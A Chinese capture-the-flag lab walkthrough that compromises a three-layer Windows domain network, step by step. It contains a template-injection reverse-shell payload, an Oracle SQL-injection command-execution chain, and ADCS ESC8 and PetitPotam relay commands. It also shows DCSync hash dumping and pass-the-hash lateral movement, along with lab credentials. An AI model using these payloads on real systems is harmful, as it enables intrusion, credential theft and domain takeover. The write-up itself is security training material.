春秋云镜-无间计划
春秋云镜-无间计划
flag1(里哟给模板注入)
fscan扫一下
参考文章：https://guokeya.github.io/post/WscncUrcS/
里哟给模板注入漏洞命令执行
1
?a=}{pboot{user:password}:if(("sys\x74em")("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f"));//)}xxx{/pboot{user:password}:if}
vps连上后直接一句话上vshell
第一层内网
fscan+代理
1
2
3
4
5
6
7
8
9
10
11
12
13
ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:16:3e:19:23:f3 brd ff:ff:ff:ff:ff:ff
inet 172.23.4.32/16 brd 172.23.255.255 scope global dynamic eth0
valid_lft 1892158715sec preferred_lft 1892158715sec
inet6 fe80::216:3eff:fe19:23f3/64 scope link
valid_lft forever preferred_lft forever
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
./fscan -h 172.23.4.0/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.23.4.19 is alive
(icmp) Target 172.23.4.32 is alive
(icmp) Target 172.23.4.12 is alive
(icmp) Target 172.23.4.51 is alive
[*] Icmp alive hosts len is: 4
172.23.4.51:1521 open
172.23.4.12:445 open
172.23.4.51:445 open
172.23.4.51:139 open
172.23.4.12:139 open
172.23.4.12:135 open
172.23.4.51:135 open
172.23.4.32:80 open
172.23.4.19:22 open
172.23.4.32:22 open
172.23.4.19:80 open
[*] alive ports len is: 11
start vulscan
[*] NetInfo
[*]172.23.4.12
[->]IZMN9U6ZO3VTRNZ
[->]172.23.4.12
[->]172.24.7.16
[*] WebTitle http://172.23.4.19 code:200 len:481 title:Search UserInfo
[*] NetInfo
[*]172.23.4.51
[->]iZkhbtcpfrkgs8Z
[->]172.23.4.51
[*] NetBios 172.23.4.12 PENTEST\IZMN9U6ZO3VTRNZ
[*] NetBios 172.23.4.51 WORKGROUP\IZKHBTCPFRKGS8Z
[*] WebTitle http://172.23.4.32 code:200 len:19779 title:PbootCMS-永久开源免费的PHP企业网站开发建设管理系统
[+] PocScan http://172.23.4.32/www.zip poc-yaml-backup-file
[+] PocScan http://172.23.4.32 poc-yaml-pbootcms-database-file-download
[+] PocScan http://172.23.4.32 poc-yaml-phpstudy-nginx-wrong-resolve php
已完成 10/11 [-] ssh 172.23.4.19:22 root root#123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 10/11 [-] ssh 172.23.4.19:22 root 000000 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 10/11 [-] ssh 172.23.4.19:22 root qwe123!@# ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
1
2
3
4
172.23.4.32(已拿下)
172.23.4.12
172.23.4.51
172.23.4.19(ssh,需要找到私钥)
flag2(172.23.4.51)(oracle注入)
前面发现172.23.4.51:1521 open,查了一下1521是Oracle数据库的默认监听端口
尝试oracle注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1. 创建JAVA Source
admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual)>1 --
2.提权
admin' AND (SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' begin sys.dbms_cdc_publish.create_change_set('''' a'''',''''a'''',''''a''''''''||TEST.pwn()||''''''''a'''',''''Y'''',s ysdate,sysdate);end;''; commit; end;') from dual)>1--
3.创建函数
admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LINXRUNCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual)>1--
4.查询创建的函数
admin' union select null,(select object_name from all_objects where object_name ='LINXRUNCMD' and rownum=1),null from dual--
5.查询java source
admin' union select null,(select object_name from all_objects where object_name ='LinxUtil'),null from dual--
6.命令执行
admin' union select null,(select LINXRUNCMD('whoami') from dual),null from dual--
添加管理员RDP,直接拿flag
1
admin' union select null,(select LINXRUNCMD('cmd /c net user hunsil Abc123456 /add') from dual),null from dual--
1
admin' union select null,(select LINXRUNCMD('cmd /c net localgroup administrators hunsil /add') from dual),null from dual--
这里发现一个账密文件
readme.txt:
1
2
3
密码记事本
usera@pentest.me
Admin3gv83
flag3(172.23.4.12)(账密喷洒)
从上面的oracle机器拿到账号密码
1
2
username: usera@pentest.me
password：Admin3gv83
爆破一下
1
proxychains4 crackmapexec smb 172.23.4.0/24 -u usera -p Admin3gv83 -d pentest.me 2>/dev/null
发现12号机子可以登录,直接拿flag
发现是双网卡机器
后面需要搭多层代理
flag4(172.23.4.19)(ssh连接)
在上面的机子搜索了一下,发现了一份名单
发现了一份账密
1
2
luzizhuo
luzizhuo@pentest.me
在usera目录下发现一组ssh密钥，去掉原本的know_hosts文件，不然会影响连接，ssh连接即可拿到flag
1
ssh -i id_rsa root@172.23.4.19
发现密钥,应该是19的ssh
直接连接
得到flag
1
flag{id_rsa_so_useful!}
第二层内网
回到12的机器,搭建代理链，扫描其第二个网段，结果如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
172.24.7.23:22 open
172.24.7.48:445 open
172.24.7.43:445 open
172.24.7.5:445 open
172.24.7.16:445 open
172.24.7.3:445 open
172.24.7.43:139 open
172.24.7.48:139 open
172.24.7.5:139 open
172.24.7.16:135 open
172.24.7.5:135 open
172.24.7.3:135 open
172.24.7.23:80 open
172.24.7.3:80 open
172.24.7.27:22 open
172.24.7.3:139 open
172.24.7.16:139 open
172.24.7.48:135 open
172.24.7.43:135 open
172.24.7.5:88 open
172.24.7.3:88 open
172.24.7.23:8060 open
172.24.7.27:8091 open
172.24.7.27:8090 open
172.24.7.23:9094 open
172.24.7.16:10000 open
[*] NetInfo
[*]172.24.7.5
[->]DCadmin
[->]172.25.12.7
[->]172.24.7.5
[*] NetInfo
[*]172.24.7.16
[->]IZMN9U6ZO3VTRNZ
[->]172.23.4.12
[->]172.24.7.16
[*] NetInfo
[*]172.24.7.48
[->]IZAYSXE6VCUHB4Z
[->]172.24.7.48
[*] NetInfo
[*]172.24.7.43
[->]IZMN9U6ZO3VTRPZ
[->]172.24.7.43
[->]172.26.8.12
[*] NetBios 172.24.7.48 PENTEST\IZAYSXE6VCUHB4Z
[*] NetInfo
[*]172.24.7.3
[->]DC
[->]172.24.7.3
[->]172.25.12.9
[*] NetBios 172.24.7.43 PENTEST\IZMN9U6ZO3VTRPZ
[*] WebTitle http://172.24.7.23:8060 code:404 len:555 title:404 Not Found
[*] NetBios 172.24.7.5 [+] DC:DCadmin.pen.me Windows Server 2016 Standard 14393
[*] OsInfo 172.24.7.3 (Windows Server 2016 Standard 14393)
[*] NetBios 172.24.7.3 [+] DC:DC.pentest.me Windows Server 2016 Standard 14393
[*] OsInfo 172.24.7.5 (Windows Server 2016 Standard 14393)
[*] WebTitle http://172.24.7.23 code:302 len:98 title:None 跳转url: http://172.24.7.23/users/sign_in
[*] WebTitle http://172.24.7.27:8091 code:204 len:0 title:None
[*] WebTitle http://172.24.7.16:10000 code:400 len:0 title:None
[*] WebTitle http://172.24.7.3 code:200 len:703 title:IIS Windows Server
[*] WebTitle http://172.24.7.27:8090 code:302 len:0 title:None 跳转url: http://172.24.7.27:8090/login.action?os_destination=%2Findex.action&permissionViolation=true
[*] WebTitle http://172.24.7.23/users/sign_in code:200 len:30152 title:Sign in · GitLab
[+] PocScan http://172.24.7.3 poc-yaml-active-directory-certsrv-detect
[+] InfoScan http://172.24.7.27:8090/login.action?os_destination=%2Findex.action&permissionViolation=true [ATLASSIAN-Confluence]
简单整理下
1
2
3
4
5
6
7
172.24.7.16 拿下
172.24.7.3 DC
172.24.7.5 DCadmin
172.24.7.23
172.24.7.27
172.24.7.43 IZMN9U6ZO3VTRPZ
172.24.7.48 IZAYSXE6VCUHB4Z
flag5(172.24.7.3)(ADCS服务cve)(ESC8)
上面拿到了一堆用户,先跑一波域内用户,直接AS-REPRoasting
1
proxychains4 impacket-GetNPUsers -dc-ip 172.24.7.3 -usersfile user.txt pentest.me/ 2>/dev/null
没有什么发现
因为有adcs服务，所以这里就去查询一下证书是否存在漏洞
1
proxychains4 certipy find -u 'usera@pentest.me' -p 'Admin3gv83' -dc-ip 172.24.7.3 -vulnerable -stdout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[proxychains] Strict chain ... 8.148.230.29:798 ... 172.24.7.3:636 ... OK
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'pentest-DC-CA' via CSRA
[proxychains] Strict chain ... 8.148.230.29:798 ... DC.pentest.me:135 ... OK
[!] Got error while trying to get CA configuration for 'pentest-DC-CA' via CSRA: Can't find a valid stringBinding to connect
[*] Trying to get CA configuration for 'pentest-DC-CA' via RRP
[proxychains] Strict chain ... 8.148.230.29:798 ... DC.pentest.me:445 ... OK
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'pentest-DC-CA'
[proxychains] Strict chain ... 8.148.230.29:798 ... DC.pentest.me:80 ... OK
[*] Enumeration output:
Certificate Authorities
0
CA Name : pentest-DC-CA
DNS Name : DC.pentest.me
Certificate Subject : CN=pentest-DC-CA, DC=pentest, DC=me
Certificate Serial Number : 44745F77195E64BF4966C7FC439A6C26
Certificate Validity Start : 2022-07-28 15:51:39+00:00
Certificate Validity End : 2027-07-28 16:01:39+00:00
Web Enrollment : Enabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : PENTEST.ME\Administrators
Access Rights
ManageCa : PENTEST.ME\Administrators
PENTEST.ME\Domain Admins
PENTEST.ME\Enterprise Admins
ManageCertificates : PENTEST.ME\Administrators
PENTEST.ME\Domain Admins
PENTEST.ME\Enterprise Admins
Enroll : PENTEST.ME\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue
Certificate Templates : [!] Could not find any certificate templates
事实证明是有的，ESC8
方法1
有ADCS，可以先打CVE-2022-26923
和2022网鼎杯半决赛那个靶场的漏洞点是一样的
1
2
3
目标环境存在 AD CS 证书颁发机构（CA）（这台 DC.pentest.me\pentest-DC-CA 完全符合）
域控制器为 Windows Server 2012 R2 ~ 2022（你的是 2016，满足）
CA 服务器未安装 2022 年 5 月补丁（KB5014754 及后续）
创建一个机器账户
1
python bloodyAD.py -d pentest.me -u usera -p Admin3gv83 --host 172.24.7.3 addComputer "hunsil" "Abc123456"
设置机器账户属性(dNSHostName和DC一致)
1
python bloodyAD.py -d pentest.me -u usera -p Admin3gv83 --host 172.24.7.3 setAttribute "CN=hunsil,CN=Computers,DC=pentest,DC=me" dNSHostName "[\"DC.pentest.me\"]"
申请证书
1
proxychains4 certipy req -u 'hunsil$@pentest.me' -p 'Abc123456' -template Machine -dc-ip 172.24.7.3 -ca 'pentest-DC-CA'
获取哈希
1
proxychains4 certipy auth -pfx ./dc.pfx -dc-ip 172.24.7.3
方法2
PetitPotam 强制认证 + NTLM 中继 ESC8 漏洞 + 证书换 Kerberos 票据 + DCSync 全域哈希导出
第一段：ntlmrelayx 中继监听（攻击端前置监听）
1
python3 ntlmrelayx.py -t http://172.24.7.3/certsrv/certfnsh.asp -smb2support --adcs --template
在攻击机开启监听，等待域控发起 NTLM 认证；一旦认证到来，自动中继给 CA 服务器，下载域控机器账号合法证书。
###
第二段：PetitPotam.exe 强制身份认证（触发域控认证流量）
1
PetitPotam.exe 192.168.3.11 192.168.3.144 [监听ip、目标服务ip]
参数说明
- 第一个 IP：攻击者本机 IP（ntlmrelayx 正在监听的机器）
- 第二个 IP：域控 DC IP（要强制它发起认证的目标）
第三大块：ptt+dcsync（拿到证书后，全域接管流程）
分为两条操作路线：CS 内存加载 Rubeus、本地 mimikatz 操作，最终目标都是用证书换取 Kerberos 票据，再 DCSync 导出全域哈希。
路线 1：Cobalt Strike（CS 远控）操作)
1
2
3
4
5
6
7
8
# 3. 用base64证书申请域控TGT票据，直接注入当前内存（ptt=pass-the-ticket 票据传递）
Rubeus.exe asktgt /user:dc$ /certificate:xxxxxxxxx /ptt
# CS内存加载执行Rubeus，避免落地文件被杀软拦截
execute-assembly Rubeus.exe asktgt /user:DC$ /certificate:<base64-certificate> /ptt
# DCSync导出krbtgt账号哈希（黄金票据核心密钥）
dcsync red.lab red\krbtgt
路线 2：本地 mimikatz 操作（Windows 本机运行）
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 第一步：Rubeus用证书申请票据，两种二选一
Rubeus.exe asktgt /user:dc$ /certificate:xxxxxxxxx /ptt
# 启动mimikatz
mimikatz.exe
# mimikatz内置kerberos模块操作
kerberos::list # 查看当前内存所有kerberos票据，验证票据是否注入成功
kerberos::purge # 清空旧票据，防止冲突
kerberos::ptt ticket.kirbi # 备用方案：把票据保存为kirbi文件，再手动导入内存
# DCSync导出各类账号哈希
lsadump::dcsync /user:krbtgt /csv # 导出krbtgt哈希，csv格式化输出
lsadump::dcsync /user:administrator /csv # 导出域管理员哈希
lsadump::dcsync /all /csv # 导出域内全部用户、机器账号哈希
Rubeus 两种使用方式
- 方式 1（备选）：Rubeus 获取票据后保存
ticket.kirbi文件，用 mimikatzkerberos::ptt导入票据再操作；流程多一步，容易留下文件痕迹。 - 方式 2（首选，文档推荐）：Rubeus 加
/ptt参数，票据直接注入内存，mimikatz 无需手动导入，立刻就能执行 DCSync，无落地文件，隐蔽性更强。
flag6（172.24.7.48）(横向)
1
proxychains4 impacket-smbexec -hashes :5d0f79eaf7a6c0ad70bcfce6522d2da1 pentest.me/administrator@172.24.7.48
flag7（172.24.7.43）(横向)
1
proxychains4 impacket-smbexec -hashes :5d0f79eaf7a6c0ad70bcfce6522d2da1 pentest.me/administrator@172.24.7.43
flag8（172.24.7.43）(gitlab)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root@kali-server:~# echo 'grant_type=password&username=usera&password=Admin3gv83' > auth.txt
root@kali-server:~# proxychains4 -q curl --data "@auth.txt" --request POST http://172.24.7.23/oauth/token
{"access_token":"10a2d60b2155b5a68d7b06f9efeba4ea12870a9a5c871420baa6b56633cba2cb","token_type":"Bearer","expires_in":7200,"refresh_token":"5733f5b45b83771658eefaee56394fcbaa304928cd3ea7052ef38aafe6949db4","scope":"api","created_at":1704901663}
root@kali-server:~# proxychains4 -q curl --header "Authorization: Bearer 10a2d60b2155b5a68d7b06f9efeba4ea12870a9a5c871420baa6b56633cba2cb" http://172.24.7.23/api/v4/users | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 613 100 613 0 0 1195 0 --:--:-- --:--:-- --:--:-- 1197
[
{
"id": 3,
"username": "luzizhuo",
"name": "luzizhuo",
"state": "active",
"avatar_url": "https://www.gravatar.com/avatar/95b2443ac507c09e96aa8da7c5b46573?s=80&d=identicon",
"web_url": "http://172.24.7.23/luzizhuo"
},
{
"id": 2,
"username": "usera",
"name": "usera",
"state": "active",
"avatar_url": "https://www.gravatar.com/avatar/e0e86917a42d2561ffc8772948d5a596?s=80&d=identicon",
"web_url": "http://172.24.7.23/usera"
},
{
"id": 1,
"username": "root",
"name": "Administrator",
"state": "active",
"avatar_url": "https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon",
"web_url": "http://172.24.7.23/root"
}
]
flag3那里收集的用户信息，直接拿来登录gitlab就可以了
利用luzizhuo账户登录，里面有一个项目，下载，找了下里面有几个数据库的配置文件，但是没啥用，连不上，commit还有一个配置信息
1
2
3
4
5
6
7
8
root@kali-server:~# proxychains4 -q git clone http://luzizhuo:luzizh_2022%40.Pen@172.24.7.23/luzizhuo/financial-system-demo.git
Cloning into 'financial-system-demo'...
remote: Enumerating objects: 27, done.
remote: Counting objects: 100% (27/27), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 27 (delta 3), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (27/27), 2.56 MiB | 530.00 KiB/s, done.
Resolving deltas: 100% (3/3), done.
在commit中有如下信息
这里的8网段是在43机器上的另一个网段
https://github.com/Ridter/PySQLTools
1
python PySQLTools.py sa:"sqlserver_2022"@172.26.8.16 -debug
这里主要是有df，没有df的话可以直接用mdut一把梭
1
2
3
4
5
6
enable_ole
enable_clr
install_clr
clr_badpotato type C:\Users\Administrator\Desktop\flag.txt
flag{Clr?no_flag}
flag9（172.24.7.5）(横向)
横向172.24.7.5，又拿到一个flag
第三层内网
回到上面的DC的第二个网卡了，还是老一套，fscan+代理，结果如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
172.25.12.9:139 open
172.25.12.29:135 open
172.25.12.19:135 open
172.25.12.7:135 open
172.25.12.9:135 open
172.25.12.7:53 open
172.25.12.19:25 open
172.25.12.9:88 open
172.25.12.29:139 open
172.25.12.19:139 open
172.25.12.7:139 open
172.25.12.9:53 open
172.25.12.19:81 open
172.25.12.19:80 open
172.25.12.7:88 open
172.25.12.9:80 open
172.25.12.7:389 open
172.25.12.9:389 open
172.25.12.9:445 open
172.25.12.19:443 open
172.25.12.29:445 open
172.25.12.19:445 open
172.25.12.7:445 open
172.25.12.19:444 open
172.25.12.19:465 open
172.25.12.7:464 open
172.25.12.9:464 open
172.25.12.19:477 open
172.25.12.19:476 open
172.25.12.19:475 open
172.25.12.19:593 open
172.25.12.7:593 open
172.25.12.9:593 open
172.25.12.19:587 open
172.25.12.9:636 open
172.25.12.7:636 open
172.25.12.19:717 open
172.25.12.9:801 open
172.25.12.19:808 open
172.25.12.19:890 open
172.25.12.19:1801 open
172.25.12.19:2103 open
172.25.12.19:2105 open
172.25.12.19:2107 open
172.25.12.19:2525 open
172.25.12.9:3269 open
172.25.12.7:3268 open
172.25.12.9:3268 open
172.25.12.7:3269 open
172.25.12.19:3389 open
172.25.12.7:3389 open
172.25.12.9:3389 open
172.25.12.29:3389 open
172.25.12.19:3800 open
172.25.12.19:3803 open
172.25.12.19:3801 open
172.25.12.19:3823 open
172.25.12.19:3828 open
172.25.12.19:3843 open
172.25.12.19:3863 open
172.25.12.19:3867 open
172.25.12.19:3875 open
172.25.12.19:5060 open
172.25.12.19:5062 open
172.25.12.19:5065 open
172.25.12.9:5985 open
172.25.12.7:5985 open
172.25.12.19:6001 open
172.25.12.19:6009 open
172.25.12.19:6070 open
172.25.12.19:6075 open
172.25.12.19:6071 open
172.25.12.19:6081 open
172.25.12.19:6098 open
172.25.12.19:6096 open
172.25.12.19:6095 open
172.25.12.19:6103 open
172.25.12.19:6111 open
172.25.12.19:6115 open
172.25.12.19:6114 open
172.25.12.19:6113 open
172.25.12.19:6119 open
172.25.12.19:6120 open
172.25.12.19:6121 open
172.25.12.19:6124 open
172.25.12.19:6138 open
172.25.12.19:6152 open
172.25.12.19:6176 open
172.25.12.19:6177 open
172.25.12.19:6212 open
172.25.12.19:6228 open
172.25.12.19:6230 open
172.25.12.19:6253 open
172.25.12.19:6273 open
172.25.12.19:6325 open
172.25.12.19:6361 open
172.25.12.19:6363 open
172.25.12.19:6376 open
172.25.12.19:6382 open
172.25.12.19:6400 open
172.25.12.19:6403 open
172.25.12.19:6402 open
172.25.12.19:6401 open
172.25.12.19:6404 open
172.25.12.19:6405 open
172.25.12.19:6406 open
172.25.12.19:6411 open
172.25.12.19:6422 open
172.25.12.19:6448 open
172.25.12.19:6539 open
172.25.12.19:6699 open
172.25.12.19:6738 open
172.25.12.19:8172 open
172.25.12.19:8382 open
172.25.12.9:9389 open
172.25.12.7:9389 open
172.25.12.19:9710 open
172.25.12.19:9729 open
172.25.12.9:15774 open
172.25.12.19:22661 open
172.25.12.19:27198 open
172.25.12.29:47001 open
172.25.12.19:47001 open
172.25.12.9:47001 open
172.25.12.9:49664 open
172.25.12.9:49666 open
172.25.12.29:49665 open
172.25.12.9:49665 open
172.25.12.29:49664 open
172.25.12.7:49666 open
172.25.12.29:49666 open
172.25.12.9:49667 open
172.25.12.7:49667 open
172.25.12.29:49667 open
172.25.12.29:49668 open
172.25.12.9:49671 open
172.25.12.9:49674 open
172.25.12.9:49675 open
172.25.12.9:49678 open
172.25.12.7:49688 open
172.25.12.9:49688 open
172.25.12.7:49691 open
172.25.12.7:49689 open
172.25.12.7:49709 open
172.25.12.7:49712 open
172.25.12.9:49715 open
172.25.12.9:49719 open
172.25.12.29:52524 open
172.25.12.29:52528 open
172.25.12.7:57880 open
172.25.12.29:61224 open
172.25.12.29:64150 open
172.25.12.19:64327 open
172.25.12.19:64337 open
172.25.12.9:64760 open
[*] alive ports len is: 155
start vulscan
[*] OsInfo 172.25.12.9 (Windows Server 2016 Standard 14393)
[*] NetBios 172.25.12.29 PEN\IZ88QYK8Y8Y3VXZ
[*] NetInfo
[*]172.25.12.19
[->]IZ1TUCEKFDPCEMZ
[->]172.25.12.19
[*] NetInfo
[*]172.25.12.29
[->]IZ88QYK8Y8Y3VXZ
[->]172.25.12.29
[*] NetInfo
[*]172.25.12.7
[->]DCadmin
[->]172.25.12.7
[->]172.24.7.5
[*] NetBios 172.25.12.19 IZ1TUCEKFDPCEMZ.pen.me Windows Server 2016 Datacenter 14393
[*] NetBios 172.25.12.7 [+] DC:DCadmin.pen.me Windows Server 2016 Standard 14393
[*] NetInfo
[*]172.25.12.9
[->]DC
[->]172.25.12.9
[->]172.24.7.3
[*] WebTitle http://172.25.12.19:3800 code:404 len:315 title:Not Found
[*] WebTitle http://172.25.12.7:5985 code:404 len:315 title:Not Found
[*] WebTitle http://172.25.12.29:47001 code:404 len:315 title:Not Found
[*] WebTitle http://172.25.12.19:47001 code:404 len:315 title:Not Found
[*] WebTitle http://172.25.12.9:5985 code:404 len:315 title:Not Found
[*] OsInfo 172.25.12.7 (Windows Server 2016 Standard 14393)
[*] WebTitle http://172.25.12.9:47001 code:404 len:315 title:Not Found
[*] WebTitle http://172.25.12.9 code:200 len:703 title:IIS Windows Server
[*] WebTitle https://172.25.12.19:444 code:500 len:3367 title:运行时错误
[*] WebTitle http://172.25.12.19:81 code:403 len:1157 title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle http://172.25.12.19 code:403 len:0 title:None
[*] WebTitle https://172.25.12.19:8172 code:404 len:0 title:None
[*] WebTitle https://172.25.12.19 code:302 len:0 title:None 跳转url: https://172.25.12.19/owa/
[*] WebTitle https://172.25.12.19/owa/auth/logon.aspx?url=https%3a%2f%2f172.25.12.19%2fowa%2f&reason=0 code:200 len:28242 title:Outlook
flag10（172.25.12.29）(横向)
回到上面的DC的第二个网卡了，还是老一套，fscan+代理，结果如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
172.25.12.9:445 open
172.25.12.9:135 open
172.25.12.7:445 open
172.25.12.29:445 open
172.25.12.9:139 open
172.25.12.7:139 open
172.25.12.29:139 open
172.25.12.7:135 open
172.25.12.29:135 open
172.25.12.9:80 open
172.25.12.9:88 open
172.25.12.7:88 open
[*] alive ports len is: 12
start vulscan
[*] NetInfo
[*]172.25.12.9
[->]DC
[->]172.24.7.3
[->]172.25.12.9
[*] OsInfo 172.25.12.9 (Windows Server 2016 Standard 14393)
[*] NetInfo
[*]172.25.12.29
[->]IZ88QYK8Y8Y3VXZ
[->]172.25.12.29
[*] NetInfo
[*]172.25.12.7
[->]DCadmin
[->]172.25.12.7
[->]172.24.7.5
[*] NetBios 172.25.12.29 PEN\IZ88QYK8Y8Y3VXZ
[*] NetBios 172.25.12.7 [+] DC:DCadmin.pen.me Windows Server 2016 Standard 14393
[*] OsInfo 172.25.12.7 (Windows Server 2016 Standard 14393)
[*] WebTitle http://172.25.12.9 code:200 len:703 title:IIS Windows Server
已完成 12/12
1
2
3
172.25.12.7 DCadmin 拿下
172.25.12.9 DC 拿下
172.25.12.29 IZ88QYK8Y8Y3VXZ
这里发现有一个新的域pen.me,发现之前的DCadmin其实就是此域的域管
直接创建一个用户上去，DCadmin机器的flag甚至提示了dcsync，机器上开了df记得关
1
mimikatz.exe "lsadump::dcsync /domain:pen.me /all /csv" exit
直接横向
1
proxychains4 impacket-smbexec -hashes :0f91138ef5392b87416ed41cb6e810b7 pen.me/administrator@172.25.12.29
flag11(172.25.12.19)(横向)
1
proxychains4 impacket-smbexec -hashes :0f91138ef5392b87416ed41cb6e810b7 pen.me/administrator@172.25.12.19
flag12(172.25.12.19)(outlook)
flag就在outlook里
哈希是上面pen.me里dump出来的
1
python pthexchange.py --target https://172.25.12.19/ --username exchange --password '00000000000000000000000000000000:21a43bd74a20a330ef77a4e7bd179d8c' --action Download
或者建一个用户rdp上去把邮件搞下来，邮件里面有一个flag
拓扑图
截的h0ny师傅的图
本文由作者按照 CC BY 4.0 进行授权